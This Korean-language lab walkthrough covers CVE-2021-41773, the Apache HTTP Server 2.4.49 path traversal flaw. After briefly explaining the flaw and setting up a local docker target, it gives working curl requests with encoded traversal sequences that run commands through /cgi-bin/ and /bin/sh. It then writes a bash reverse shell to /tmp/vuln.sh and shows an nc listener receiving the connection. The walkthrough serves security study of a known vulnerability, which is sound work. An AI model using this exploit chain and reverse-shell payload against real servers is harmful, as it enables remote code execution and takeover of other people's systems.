
CVE 식별자 CVE-2021-41773을 가진 첫 번째 취약점은 Apache HTTP Server 2.4.49에 존재하는 경로 탐색(path traversal) 결함입니다.
Apache HTTP Server 2.4.49의 경로 정규화 변경 사항에서 결함이 발견되었습니다. 공격자는 경로 순회 공격을 사용하여 Alias 유형 지시문으로 구성된 디렉터리 외부의 파일로 URL을 매핑할 수 있습니다.
이러한 디렉터리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않으면 이러한 요청은 성공할 수 있습니다. 또한 이러한 별칭(alias) 경로에서 CGI 스크립트도 활성화되어 있으면 원격 코드 실행으로 이어질 수 있습니다.
이 문제는 실제 환경에서 악용된 사례가 알려져 있습니다.
이 문제는 Apache 2.4.49에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다.
경로 순회 공격(디렉터리 순회라고도 함)은 웹 루트 폴더 외부에 저장된 파일과 디렉터리에 접근하는 것을 목표로 합니다. 파일을 참조하는 변수를 “dot-dot-slash(../)” 시퀀스와 그 변형으로 조작하거나 절대 파일 경로를 사용함으로써 애플리케이션 소스 코드, 구성 파일, 중요 시스템 파일을 포함한 파일 시스템에 저장된 임의의 파일과 디렉터리에 접근할 수 있게 됩니다. 파일 접근은 시스템 운영 접근 제어(예: Microsoft Windows 운영 체제에서 잠겨 있거나 사용 중인 파일의 경우)에 의해 제한된다는 점에 유의해야 합니다.
이 공격은 “dot-dot-slash”, “directory traversal”, “directory climbing”, “backtracking”이라고도 합니다.
$ docker-compose build
$ docker-compose up
작동 확인
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
공격 대상(Victim) : localhost:1234
공격자(Attacker) : 192.168.1.12
문서에 따르면 이는 원격에서 코드를 실행할 수 있게 해주는 결함(RCE)입니다.
cgi-bin 폴더를 대상으로 curl을 실행하여 이를 악용할 수 있습니다.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
실제로 명령어에 접근 권한이 있는지 확인해 봅시다. id 명령을 사용해 보겠습니다:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. 리버스 셸(Reverse shell)
피해자 서버에 bash 파일을 생성하여 리버스 셸을 테스트해 보겠습니다.
PayloadsAllTheThings 저장소에서 찾은 bash 기반 리버스 셸을 예로 들어 보겠습니다.
예시는 다음과 같습니다:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
피해자 머신의 /tmp/ 폴더에 vuln.sh 파일을 생성해 보겠습니다!
이 파일에는 원격으로 실행할 수 있는 리버스 셸이 포함되며, 로컬 머신의 44번 포트로 연결됩니다.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
cat 명령으로 파일 내용을 확인할 수 있습니다.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. ncat을 이용한 리스너 생성
로컬 머신에 리스너를 생성해 보겠습니다.
$ nc -lvnp 44
이제 남은 것은 원격 파일을 실행하는 것뿐입니다.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
응답:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.